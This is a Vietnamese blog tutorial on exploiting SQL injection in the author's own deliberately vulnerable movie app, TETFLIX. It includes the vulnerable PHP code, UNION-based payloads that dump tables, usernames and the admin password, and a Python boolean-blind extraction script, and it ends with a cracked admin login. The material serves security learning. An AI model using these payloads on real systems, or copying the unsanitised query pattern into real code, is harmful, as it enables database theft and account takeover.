BLIND SQLl TUTORIAL FULL

Đây là một dự án TETFLIX do mình tự code ra để mô phỏng lại một vài lỗ hổng phổ biến, vừa để ôn lại kiến thức để chuẩn bị cho phỏng vấn xin việc, vừa là một project nho nhỏ mình làm để đưa vào trong CV, không hiểu sao nhiều người vẫn cho rằng SQLi là dễ, đối với mình thì nó khá là nan giải, bao gồm nhiều bước và yêu cầu một kỹ năng thành thạo có thể nói là phải cứng tay mới có thể hiểu một cách sâu sắc và tự tay mình khai khác cũng như hiểu bản chất của lỗ hổng được mà không cần dùng tới các công cụ như SQLmap.
Ở chức năng tìm kiếm của ứng dụng TETFLIX lần này mình đã cố tình để lại lỗ hổng bằng cách nối chuỗi để tạo ra câu lệnh SQL mà k qua một lớp sàn lọc nào, không sử dụng ORM, Prestatement, toàn bộ mã nguồn đều do mình nắm hết nhưng khi tự tay mình khai thác vẫn gặp khá nhiều sạn, mục đích mình viết bài này vừa để chia sẻ vừa là nơi khi mình cần học lại mình có thể vào để tra cứu và ôn lại kiến thức, link của mã nguồn mình sẽ để ở đây cho bạn nào muốn thử khai thác.
https://github.com/OgaTatsumii/tetflix
Code của mã nguồn tương đối nhiều nhưng mình sẽ trích ra những đoạn code trong những file chính dùng để xử lý chức năng tìm kiếm
Đầu tiên là ở file navbar.php
<form id="searchForm" onsubmit="return false;">
<input type="text" name="keyword" class="search-input" placeholder="Nhập tên phim cần tìm..." autocomplete="off" value="
<?php
if (strpos($_SERVER['REQUEST_URI'], '/search') === 0 && isset($_GET['keyword'])) {
echo htmlspecialchars($_GET['keyword']);
}
?>
">
<button type="button" class="search-btn"> <i class="fas fa-search"></i> </button>
</form>
Ở đây action onsubmit=”return false” để ngăn default action submit form của HTML, và để xử lý việc gửi form này ta dùng các hàm ở javascript trong file layout.php, vì layout.php là nơi chứa header và footer, dùng chung cho toàn bộ trang web
const searchForm = document.getElementById('searchForm');
const searchInput = document.querySelector('.search-input');
const searchBtn = document.querySelector('.search-btn');
function handleSearch() {
const searchTerm = searchInput.value.trim();
if (searchTerm) {
window.location.href = `/search?keyword=${encodeURIComponent(searchTerm)}`;
}
}
searchInput.addEventListener('keypress', function(e) {
if (e.key === 'Enter') {
handleSearch();
}
});
searchBtn.addEventListener('click', handleSearch);
Ở đây hàm handleSearch kiểm tra xem ô input có giá trị khác rỗng hay không, nếu khác thì dùng window.location.href để chuyển hướng trang web đến /search?keyword= __user_input___ kèm theo giá trị mà người dùng nhập vào
Hàm handleSearch được kích hoạt khi người dùng nhấn phím Enter hoặc là click vòa search Button trên thanh header
File index.php sẽ nhận request chuyển hướng /search từ window.location.href , code xử lý của index.php như sau:
<?php
// Enable error reporting
......
// Get the requested URL
$request_uri = $_SERVER['REQUEST_URI'];
$path = parse_url($request_uri, PHP_URL_PATH);
// Basic routing
switch ($path) {
case '/':
require_once BASE_PATH . '/views/home.php';
break;
.....
case '/search':
require_once BASE_PATH . '/views/search.php';
break;
......
default:
// 404 page
header('HTTP/1.0 404 Not Found');
echo '404 - Page not found';
break;
}
?>
Ở đây:
$_SERVER['REQUEST_URI']: lấy đường dẫn đầy đủ mà người dùng truy cập (ví dụ/search?keyword=test).$path = parse_url(..., PHP_URL_PATH): chỉ lấy phần đường dẫn, bỏ qua query string (phần sau dấu?)Lúc này
$pathcó giá trị là /search, với case /search thì load filesearch.php, trong đó có thể dùng$_GET['keyword']để lấy từ khóa tìm kiếm
File search.php có nội dung chính phục vụ chức năng tìm kiếm như sau:
if (isset($_GET['keyword']) || isset($_GET['genre']) || isset($_GET['year']) || isset($_GET['status'])) {
$keyword = isset($_GET['keyword']) ? $_GET['keyword'] : '';
$genre = isset($_GET['genre']) ? $_GET['genre'] : '';
$year = isset($_GET['year']) ? $_GET['year'] : '';
$status = isset($_GET['status']) ? $_GET['status'] : '';
$movies = $movieController->getAllMoviesWithFilters($genre, $year, $status, $keyword);
}
Ở đây ta thấy ngoài tham số keyword thì còn nhiều tham số khác như genre, year, status
Và tất cả những tham số này đều được kiểm tra, nếu như có giá trị thì lấy giá trị của chính tham số đó, còn nếu không thì lấy 1 chuỗi rồng, sau đó biến movie gọi đến hàm getAllMoviesWithFilters ở class MovieController và truyển tất cả những tham số này vào
public function getAllMoviesWithFilters($genre = '', $year = '', $status = '', $keyword = '')
{
return $this->movie->getAllMoviesWithFilters($genre, $year, $status, $keyword);
}
Hàm getAllMoviesWithFilters thì lại gọi đến hàm getAllMoviesWithFilters ở class movie
public function getAllMoviesWithFilters($genreFilter = '', $yearFilter = '', $statusFilter = '', $searchTerm = '')
{
// WARNING: This is intentionally vulnerable to SQL injection for educational purposes
// DO NOT use this in production!
$query = "SELECT * FROM " . $this->table_name . " WHERE 1=1";
if (!empty($genreFilter)) {
$query .= " AND genre = '" . $genreFilter . "'";
}
if (!empty($yearFilter)) {
$query .= " AND release_year = '" . $yearFilter . "'";
}
if ($statusFilter !== '') {
$query .= " AND is_premium = '" . $statusFilter . "'";
}
if (!empty($searchTerm)) {
$query .= " AND (title LIKE '%" . $searchTerm . "%' OR description LIKE '%" . $searchTerm . "%')";
}
$query .= " ORDER BY id DESC";
var_dump($query);
// Example of Blind SQL Injection vulnerability:
// searchTerm = test' AND (SELECT CASE WHEN (SELECT password FROM users WHERE username='admin' AND LENGTH(password)>5) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
$stmt = $this->conn->prepare($query);
$stmt->execute();
return $stmt;
}
Đi một vòng thì cuối cùng untrusted data cũng đã đến nơi cần đến, như các bạn có thể thấy thì không chỉ có tham số keyword là không an toàn mà tất cả các tham số khác bao gồm genre, year, status đều được nối chuỗi thẳng vào trong câu query mà không hề thông qua một lớp sàn lọc nào dẫn đến lỗi SQLi.
Vậy trước khi khai thác thì ta nên hiểu bản chất của Common SQLi và Blind SQLi khác nhau ở chỗ nào, Common SQLi thì kết quả trả về của câu query sẽ hiện ra trên giao diện của ứng dụng và người dùng dễ dàng đọc được, ví dụ ở đây trong trường hợp là chức năng tìm kiếm phim, bắt buộc ứng dụng phải lấy ra các trường của bảng movies trong cơ sở dữ liệu và hiển thị nó ra thành giao diện cho người dùng xem là họ tìm được những bộ phim nào trong lần tìm kiếm đó, nếu SQLi thành công thì chúng ta sẽ ghi đè những cái trường này thành dữ liệu mà ta muốn đánh cắp từ cơ sở dữ liệu, chẳng hạn như tài khoản và mật khẩu của trang quản trị chẳng hạn và ứng dụng chắc chắn phải đưa nó ra giao diện cho ta xem.
Cũng vì vậy mà chức năng tìm kiếm thì rất hiếm ai áp dụng kỹ thuật Blind SQLi để khai thác, kỹ thuật Blind SQLi được sử dụng khi mà ứng dụng chỉ kiểm tra kết quả của câu query, sau đó từ kết quả đó mà quyết định thông báo cho người dùng như thế nào, ví dụ ta triển khai chức năng reset password bằng một đoạn mã như sau:
$query = "SELECT * FROM users WHERE email='" . $input ."'";
$result = $db->query($query);
if ($result->fetchColumn() > 0) {
function_sendOTPtoemail();
echo "Đã gửi mã OTP đến email của bạn !";
} else {
echo "Không tìm thấy email của bạn trên hệ thống !";
}
Ở đây ứng dụng không hề trả về kết quả của câu query cho user đọc mà chỉ kiểm tra số hàng trả về có > 0 hay không nếu có thì tiến hành gửi OTP đến người đọc sau đó trả về thông báo "Đã gửi mã OTP đến email của bạn !", còn nếu câu query không trả về kết quả nào thì thông báo "Không tìm thấy email của bạn trên hệ thống !", lúc này ta sẽ tiến hành thực hiện khai thác SQLi với kỹ thuật Boolean Based SQLi vì nó dựa vào luận lý của chương trình True or False
Vẫn còn một biến thể khác của Blind SQLi chính là Time Based SQLi, đây là một trường hợp khác của Blind SQLi khi mà ứng dụng chỉ tiến hành thực hiện câu query và thông báo là "Tao đã thực hiện câu query xong rồi" chứ không hề dựa trên kết quả của câu query để xử lý và phân loại ra nên đưa cái thông báo nào về cho user. Ví dụ chức năng cho trường hợp này như là gửi feedback chẳng hạn, frontend chỉ hiện thị là “Cảm ơn bạn !“ chứ không có một thông báo nào khác, thế nên ở đây ta vẫn dùng luận lý nhưng mà là luận lý về thời gian, mình sẽ trình bày rõ hơn ở phần sau.
Vậy tại sao mình lại làm về Blind SQLi ở chức năng tìm kiếm ? Thật ra đối với Common SQLi thì vẫn có thể áp dụng Blind SQLi để khai thác nhưng không ai làm vậy cả tại vì Blind SQLi sẽ phức tạp và làm khó khăn hơn rất nhiều, nhưng để mô phỏng được một cách toàn diện nhất cả 2 biến thể, thì mình sẽ chọn tính năng này để làm demo giúp cho các bạn có một cái nhìn bao quát nhất về lỗ hổng SQLi.
XÁC ĐỊNH XEM CHỨC NĂNG CÓ BỊ LỖ HỔNG SQLI HAY KHÔNG ?
Một trong những payload đầu tiên và phổ biến khi test SQLi đó chính là
'
"
' OR 1=1 -- ') OR 1=1 --
" OR 1=1 -- ") OR 1=1 --
') AND SLEEP(5)-- ") AND SLEEP(5)--
…..
Một vài phản ứng thường gặp từ server trả về nếu như SQLi thành công bao gồm:
Nhả ra lỗi 500 error nếu bị lỗi cú pháp SQL
You have an error in your SQL syntax; check the manual...Warning: mysql_fetch_assoc() expects parameter 1...ORA-01756: quoted string not properly terminated(Oracle)Unclosed quotation mark after the character string(MSSQL)
Trả về dữ liệu nhiều hơn dự kiến
Truy cập form đăng nhập với payload
' OR 1=1 --→ vào được bất kỳ tài khoản nào.Search một từ khóa bất kỳ → kết quả trả về toàn bộ database.
Khi không có phản hồi trực tiếp từ server, dùng biểu thức logic hoặc delay thời gian để đoán qua thay đổi thời gian phản hồi hoặc nội dung HTML trả về
' AND 1=1 --→ page load bình thường' AND 1=2 --→ page trống hoặc lỗi nhẹ' OR IF(1=1, SLEEP(5), 0)--→ Nếu server delay 5 giây, chứng tỏ payload được thực thi → SQLi tồn tại.
…
Ở đây trong trường hợp nhất khi thử với payload ' thì server trả về response với lỗi như sau:

Status code 200 vẫn được trả về vì đây là lỗi PHP (PDOException) được throw trong quá trình thực thi, không phải lỗi HTTP
KHAI THÁC COMMON SQLI BẰNG UNION BASED SQLI
Sau khi xác định được lỗi SQLi thực sự tồn tại trong một chức năng nào đó thì một trong những cách khai thác common SQLi phổ biến nhất chính là UNION BASED SQLi, tức là bạn sẽ nối dài câu query của chương trình ra để lấy ra thêm 1 hoặc nhiều dòng dữ liệu nữa ngay sau kết quả của câu SELECT gốc thêm bằng cách sử dụng câu lệnh UNION
Khi sử dụng câu lệnh UNION, điều quan trọng nhất là các câu query được nối của UNION phải có cùng số cột, có rất nhiều cách để xác định số cột của một bảng sau khi đã xác định rằng có tồn lại lỗi hổng SQLi, một trong số đó là dùng lệnh ORDER BY, lệnh ORDER BY được dùng để sắp xếp dữ liệu sau khi được gọi ra, có thể dùng ORDER BY với tên cột hoặc là ORDER BY với thứ tự của cột, nếu dùng với thứ tự của cột thì bắt đầu với index là 1, ta sẽ xây dựng một payload hợp lệ với phần đuôi là ORDER BY 1, sau đó tăng dần 1 lên 2 3 4 5, …. cho đến khi ứng dụng báo lỗi
Như phần code đã đề cập ở đầu bài viết
public function getAllMoviesWithFilters($genreFilter = '', $yearFilter = '', $statusFilter = '', $searchTerm = '')
{
// WARNING: This is intentionally vulnerable to SQL injection for educational purposes
// DO NOT use this in production!
$query = "SELECT * FROM " . $this->table_name . " WHERE 1=1";
if (!empty($genreFilter)) {
$query .= " AND genre = '" . $genreFilter . "'";
}
if (!empty($yearFilter)) {
$query .= " AND release_year = '" . $yearFilter . "'";
}
if ($statusFilter !== '') {
$query .= " AND is_premium = '" . $statusFilter . "'";
}
if (!empty($searchTerm)) {
$query .= " AND (title LIKE '%" . $searchTerm . "%' OR description LIKE '%" . $searchTerm . "%')";
}
$query .= " ORDER BY id DESC";
var_dump($query);
// Example of Blind SQL Injection vulnerability:
// searchTerm = test' AND (SELECT CASE WHEN (SELECT password FROM users WHERE username='admin' AND LENGTH(password)>5) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
$stmt = $this->conn->prepare($query);
$stmt->execute();
return $stmt;
}
Câu truy vấn mà anh Developer sử dụng ở đây là:
SELECT * FROM movies WHERE 1=1 AND genre = '__user_input__' AND release_year = '__user_input__' AND is_premium = '__user_input__' AND (title LIKE '% __user_input__ %' OR description LIKE '% __user_input__ %') ORDER BY id DESC;
Đối với trường hợp chỉ có tham số searchTearm thì câu query sẽ là:
SELECT * FROM movies WHERE 1=1 AND (title LIKE '% __user_input__ %' OR description LIKE '% __user_input__ %') ORDER BY id DESC;
Đối với trường hợp bạn pentest black box thì việc bạn hình dung ra được ngữ cảnh mà ustrusted data rơi vào là cực kỳ quan trọng vì nó giúp bạn có thể kiểm soát được luồng hoạt động của câu query và biết mình nên tinh chỉnh như thế nào để payload có thể hoạt động 1 cách tốt nhất. Trong trường hợp này __user_input__ rơi vào ngay giữa cặp dấu '%%' và đồng thời có cả dấu () bọc ở ngoài nữa. Thế nên payload hợp lý nhất ở đây để tấn công SQLi và kiểm tra số cột của bảng thành công mà không làm hỏng cú pháp của SQL chính là
sample%') ORDER BY 1 --
Khi chèn vào payload này thì câu query sẽ trông như sau:
SELECT * FROM movies WHERE 1=1 AND (title LIKE '%sample%') ORDER BY 1 -- %' OR description LIKE '% __user_input__ %') ORDER BY id DESC
Lúc này toàn bộ sau dấu -- sẽ bị bỏ qua nên câu query có tác dụng chỉ còn là:
SELECT * FROM movies WHERE 1=1 AND (title LIKE '%sample%') ORDER BY 1
Lúc này ta đã thiết lập payload thành công và chỉ tiến hành tăng số cột lên để kiểm tra
Ở đây với payload sample%') ORDER BY 16 -- ứng dụng trả về lỗi

—> Số cột hợp lệ của bảng là 15

Lúc này ta tiếp tục xây dựng payload để trích xuất được thông tin từ database, ta sẽ thử UNION SELECT với 15 giá trị NULL, để xem những giá trị này có hiện ra trên giao diện của người dùng hay không
sample%') UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL --

Ta thấy dữ liệu NULL được đưa ra ngoài giao diện

Bây giờ thay vì SELECT NULL, ta sẽ SELECT các giá trị khác, ta sẽ test trước với @@version để xem có hiện ra nội dung version của database trên giao diện hay không

Ta thấy version của database ở đây là 8.0.41
Ở đây ta có thể xác định được cơ sở dữ liệu ở đây có thể nằm 1 trong 2 loại là Microsoft hoặc là MySQL

Việc xác định database thuộc loại nào rất quan trọng, vì cú pháp để xác định database name và table name của từng loại database là khác nhau

Tài liệu để xác định loại database nào mình sẽ để ở đây
QUY TRÌNH TẤN CÔNG SQLI
Quy trình của tất cả các cuộc tấn công SQL là truy xuất lần lượt
database name → table name → column name → column value
1. Xác định tên database :
Ở đây cú pháp truy xuất các thông tin liên quan đến database bao gồm table name của Microsoft và MySQL đều là:SELECT * FROM information_schema.tables
Tuy nhiên đối với câu lệnh này thì nó sẽ lấy ra luôn toàn bộ các bảng mặc định của hệ thống nên số lượng bảng lấy ra là rất nhiều:

tables của database hiện tạiSELECT * FROM information_schema.tables WHERE table_schema = database();

Và chúng ta cũng không thể dùng SELECT * ở đây được vì ngữ cảnh của mỗi lần khai thác là khác nhau tùy thuộc và số cột của bảng mà ta khai thác, nên ở đây ta chỉ lấy ra một vài trường quan trọng, bao gồmTABLE_SCHEMA, TABLE_NAME trong information_schema.tables
Bước đầu tiên ta sẽ truy xuất database name
SELECT DISTINCT TABLE_SCHEMA FROM information_schema.tables;
TABLE_SCHEMA: Chứa tên của schema (database) trong MySQL.DISTINCT: Đảm bảo rằng mỗi tên schema chỉ xuất hiện một lần trong kết quả (do có thể nhiều bảng thuộc cùng một schema).
Nếu không có DISTINCT

SELECT schema_name FROM information_schema.schemata;

Ở đây netflix_db là DB bạn cần
2. Sau khi có tên database, lọc bảng theo database đó:
SELECT table_name FROM information_schema.tables WHERE table_schema = 'netflix_db';


3. Sau khi có table_name, truy xuất column_name theo table mà bạn muốn:
SELECT column_name FROM information_schema.columns WHERE table_name = 'users';

4. Truy xuất giá trị của cột trong bảng mà bạn muốn:
Giả sử ở đây mục tiêu là lấy được tài khoản và mật khẩu của users

Tiến hành khai thác thật sự trên server
Sau khi chứng minh là ta có thể truy xuất được version của database thì ta tiến hành khai thác sâu hơn với các bước ở trên:
Truy xuất tên bảng mà không cần biết database name
Như payload đã truy xuất thành công @@version trước đó
99999%') UNION SELECT NULL, @@version, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL --Bây giờ thay vì version ta sẽ truy xuất
table_namecủa cơ sở dữ liệu bằng payload như sau:99999%') UNION SELECT NULL, table_name, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM information_schema.tables WHERE table_schema = database()
Thêm một vấn đề nữa khi truy xuất tên bảng đó chính là kết quả trả về của câu query nằm trên nhiều dòng nhưng ta lại chỉ truy xuất trên 1 dòng duy nhất, ở đây ta chỉ truy xuất được 1 table_name là favorites tuy nhiên lại có đến 6 tables khi ta truy xuất ở môi trường thử nghiệm

Hướng giải quyết ở đây có thể kể đến chính là sử dụng hàm GROUP_CONCAT để trả về tất cả tên bảng trong 1 dòng

Áp dụng vào để khai thác, ta có 1 payload như sau
99999%') UNION SELECT NULL, GROUP_CONCAT(table_name), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM information_schema.tables WHERE table_schema = database() --
Tiếp theo ta sẽ tiến hành lên tên cột của bảng mà ta muốn truy xuất thông tin, ở đây mình sẽ lấy bảng
userslàm ví dụ:Tương tự ở bước 2 ta sẽ dùng payload như sau, để truy xuất tất cả tên cột của bảng users trên một hàng:
99999%') UNION SELECT NULL, GROUP_CONCAT(column_name), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM information_schema.columns WHERE table_name = 'user'--
Cuối cùng, chúng ta có thể truy xuất dữ liệu từ bảng
usersthông qua bất kỳ tên cột nào mà chúng ta mong muốn.Truy xuất toàn bộ username hiện có
99999%') UNION SELECT NULL, GROUP_CONCAT(username), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM users --
Truy xuất password của username
'admin'99999%') UNION SELECT NULL, GROUP_CONCAT(password), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM users WHERE username='admin' --
KHAI THÁC BLIND SQLI BẰNG BOOLEAN BASED SQLI
Nếu bạn đã đọc đến đây, xin chúc mừng, bạn đã chạm tới phần hấp dẫn nhất của bài blog! Trong đoạn mã nguồn mình nhắc đến ở đầu bài, ngay trong file
search.php, bạn hoàn toàn có thể biến một lỗ hổng SQLi thông thường thành Blind SQLi một cách đơn giản — chỉ cần comment đoạn code cũ và bỏ comment đoạn code mới ra mà thôi. Trong mã nguồn mình đã chú thích khá rõ ràng. Thay vì hiện thị các phim được tìm kiếm thì mình
<!-- Blind SQLi -->
<?php if ($movies): ?>
<?php
// Kiểm tra xem có kết quả nào không bằng cách đếm số dòng
$rowCount = $movies->rowCount();
if ($rowCount > 0):
?>
<div class="search-found">
<i class="fas fa-check-circle"></i> Đã tìm thấy phim.
</div>
<?php else: ?>
<div class="search-no-results">
<i class="fas fa-info-circle"></i> Không tìm thấy phim.
</div>
<?php endif; ?>
<?php endif; ?>
Khi tìm thấy phim

Khi không tìm thấy phim

Ta thấy rằng ứng dụng không hề hiển thị ra kết quả của câu truy vấn mà chỉ dựa vào kết quả của câu truy vấn mà phân loại ra nên đưa phản hồi nào về cho người dùng
Khi ta thử kiểm tra chức năng có bị lỗi với SQLi không với payload ' thì ta nhận ra rằng ứng dụng vẫn xử lý user input như là một phần của câu query và dấu ' này làm cho câu query bị lỗi cú pháp

Bây giờ ta vẫn sẽ thực hiện các bước để khai thác sâu hơn với lỗi Blind SQLi như cách mà ta đã thực hiện với Common SQLi đã được để cập ở phần trước đó
Bây giờ ta sẽ thử xem ta có thể thao túng được luận lý của chương trình hay không bằng cách thử lần lượt các payload sau:
Đầu tiên là 9999%') OR 1=1 --
Giải thích payload:
9999%') chính là phần làm cho câu luận lý tìm kiếm phim không tìm được bộ phim nào và đúng cú pháp như cách ta đã phân tích câu query của anh developer ở phần trên

OR 1=1 chính là thêm luận lý luôn đúng ở đằng sau để thao túng kết quả trả về luôn đúng để số hàng kết quả trả về > 0 và từ đó thông báo tìm thấy phim sẽ xuất hiện
-- chính là để comment lại toàn bộ đoạn query không cần thiết ở phía sau

Tiếp theo ta thử tiếp với payload
9999%') OR 1=2 --
Giải thích:
Tương tự với payload 9999%') OR 1=1 -- nhưng luận lý OR 1=2 là một luận lý sai, cộng với việc tên phim là 9999 là không tồn tại tức cũng là 1 luận lý sai nên tổng thể ta có một luận lý sai (A OR B sai khi cả hai A và B đều sai) và không có hàng nào trả vể trong kết quả của câu query, nên ta sẽ thấy thông báo là không tìm thấy phim nào cả

Lúc này ta đã thành công thao túng luận lý của câu query theo ý muốn của mình, câu query đúng hay sai bây giờ chỉ phụ thuộc vào việc là mệnh để sau OR là đúng hay sai, tại vì mệnh đề trước OR là đã sai
Nếu mệnh đề sau OR là sai thì ứng dụng trả về thông báo là Không tìm thấy phim
Nếu mệnh đề sau OR là đúng thì ứng dụng trả vể thông báo là Đã tìm thấy phim
Vậy ý tưởng khai thác của ta ở đây là ta sẽ có một CHARSET chứa toàn bộ các chữ cái có thể xảy ra, sau đó ở phần mệnh đề sau OR ta sẽ dùng hàm SUBSTRING để cắt ra từng ký tự của kết quả trả về của câu SELECT và so sánh nó với ký tự ở bảng CHARSET mà ta đang xét, nếu kết quả trả về của chương trình là Đã tìm thấy phim thì tức là ký tự đó là một ký tự đúng, còn trường hợp ngược lại nếu là kết quả trả về của chương trình là Không tìm thấy phim thì đó là một ký tự sai
Bây giờ ta sẽ thử kiểm nghiệm ý tưởng này với payload
9999%') OR (SUBSTRING('ab',1,1)='a') --
Kết quả của phần SUBSTRING('ab',1,1) là 'a' sẽ so sánh với ký tự 'a' là một mệnh đề đúng sẽ trả về kết quả là Đã tìm thấy phim

Vậy nếu payload là
9999%') OR (SUBSTRING('ab',1,1)='b') -- —> Kết quả trả về là Không tìm thấy phim.

Mình sẽ thử dump ra version của cơ sở dữ liệu bằng một đoạn mã Python như sau:
import urllib.parse
import requests
url = 'http://localhost/search'
CHARSET = ',abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.{}-'
QUERY = "SELECT @@version"
# SELECT @@version
result = ""
for i in range (1, 100):
find_result = False
for c in CHARSET:
print("[DEBUG] Đang brute force ký tự", c)
PAYLOAD = f"9999%') OR (SUBSTRING(({QUERY}),{i},1)='{c}') -- "
encoded_payload = urllib.parse.quote(PAYLOAD)
full_url = f"{url}?keyword={encoded_payload}"
# print(full_url)
r = requests.get(full_url)
data = r.text
if 'Đã tìm thấy phim.' in data:
find_result = True
result += c
print("Tìm ra được thêm 1 ký tự đúng nè ------->", result)
break
if not find_result:
print("Không còn ký tự hợp lệ nào nữa, dừng lại!")
print("Các bảng tìm được là: ", result)
break

Bạn sẽ tìm được version ở đây là 8.0.42 giống với phương pháp UNION BASED SQLi mà mình đã trình bày trước đó , vậy ta đã chứng minh được rằng: mặc dù kết quả của câu query không hiện ra trên giao diện người dùng nhưng vẫn có thể lợi dụng cách xử lý điều kiện đúng sai của ứng dụng để đọc nội dung của cơ sở dữ liệu nếu có tồn tại lỗ hổng SQLi
Không dừng lại ở việc đọc version, bạn hoàn toàn có thể đọc thêm các nội dung nhạy cảm khác, như trình tự khai thác common SQLi
database name → table name → column name → column value
Để đọc bất kỳ nội dung nào của cơ sở dữ liệu mà bạn muốn, ở đây thay giá trị của biến QUERY của đoạn code Python bên trên bằng
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database() để truy xuất tên các bảng của cơ sở dữ liệu

Bây giờ thì bạn muốn đọc gì cứ thay mỗi giá trị của câu truy vấn cho biến QUERY sau đó thì để đoạn code lo phần còn lại thôi, thích đúng không :v
QUERY = "SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'users'"

QUERY = "SELECT GROUP_CONCAT(username) FROM users"

QUERY = "SELECT password FROM users WHERE username='admin'"

Ở đây mật khẩu đã bị hash, ta có thể thử dùng các tool để crack mã hash phổ biến để thử tìm lại plain text của mật khẩu này, nếu may mắn ta có thể tìm thấy, ở đây mình dùng

Mật khẩu là 21244122
Ta dùng username admin và mật khẩu là 21244122 để thử đăng nhập vào ứng dụng


Đăng nhập thành công vào Admin Panel
Đoạn kết
Bài viết đến đây cũng đã khá dài rồi, nên mình xin phép tạm dừng tại đây. Trong phần mã trước mình chia sẻ, quá trình brute-force từng ký tự vẫn chưa được tối ưu – ở trường hợp xấu nhất, việc tìm một ký tự đúng có thể cần tới 68 request. Trong bài blog tiếp theo, mình sẽ hướng dẫn một kỹ thuật thú vị giúp giảm con số đó xuống chỉ còn 8 request cho mỗi ký tự – một bước tiến lớn về mặt hiệu suất. Bên cạnh đó, mình cũng sẽ tiếp tục giới thiệu kỹ thuật Time-Based SQL Injection để bạn có thể áp dụng trong các tình huống khác nhau.
Trong lúc chờ đợi, bạn có thể thử tự tay khai thác, tối ưu lại đoạn mã hoặc tìm hiểu trước về kỹ thuật Time-Based để hiểu rõ hơn khi bài tiếp theo lên sóng.
Vì đây là lần đầu tiên mình viết một bài blog dài và chi tiết như thế này, rất mong nhận được góp ý từ các bạn để mình có thể cải thiện hơn nữa trong tương lai. Cảm ơn các bạn đã đọc đến đây, hẹn gặp lại trong các bài viết kế tiếp blog của Oga.
Peace and I’m out!



